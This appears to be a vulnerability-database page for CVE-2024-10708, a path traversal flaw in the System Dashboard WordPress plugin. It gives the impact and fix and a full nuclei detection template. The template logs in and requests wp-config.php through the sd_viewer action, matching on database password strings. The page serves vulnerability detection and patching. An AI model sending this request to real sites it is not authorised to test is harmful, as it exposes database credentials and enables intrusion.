HexBrain

Browse / CVEs / CVE-2024-10708

CVE-2024-10708· bowo / system dashboard· CWE-22

System Dashboard < 2.8.15 - Admin+ Path Traversal

mediumseverity
4.9CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

The System Dashboard WordPress plugin before 2.8.15 does not validate user input used in a path, which could allow high privilege users such as admin to perform path traversal attacks an read arbitrary files on the server

Impact

Authenticated administrators can exploit path traversal through the filename parameter in the sd_viewer action to read arbitrary server files including wp-config.php, exposing database credentials and sensitive configuration data.

Fix

Fixed in 2.8.15

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin-ajax.php?action=sd_viewer&filename=/wp-config.php&load_plugins[]=system-dashboard/system-dashboard.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2024-10708 -u <target>

The full check
id: CVE-2024-10708

info:
  name: System Dashboard < 2.8.15 - Admin+ Path Traversal
  author: 0x_Akoko
  severity: medium
  description: |
    The System Dashboard WordPress plugin before 2.8.15 does not validate user input used in a path, which could allow high privilege users such as admin to perform path traversal attacks an read arbitrary files on the server
  impact: |
    Authenticated administrators can exploit path traversal through the filename parameter in the sd_viewer action to read arbitrary server files including wp-config.php, exposing database credentials and sensitive configuration data.
  remediation: |
    Fixed in 2.8.15
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10708
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/system-dashboard/system-dashboard-103-local-file-inclusion
    - https://wpscan.com/vulnerability/61d750a5-8c2c-4c94-a1a9-6a254c2a0d03/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2024-10708
    cwe-id: CWE-22
    epss-score: 0.02041
    epss-percentile: 0.81315
    cpe: cpe:2.3:a:bowo:system_dashboard:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bowo
    product: system_dashboard
    framework: wordpress
    fofa-query: body="/wp-content/plugins/system-dashboard/"
  tags: cve,cve2024,wpscan,wordpress,wp-plugin,lfi,auth,system-dashboard,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=sd_viewer&filename=/wp-config.php&load_plugins[]=system-dashboard/system-dashboard.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from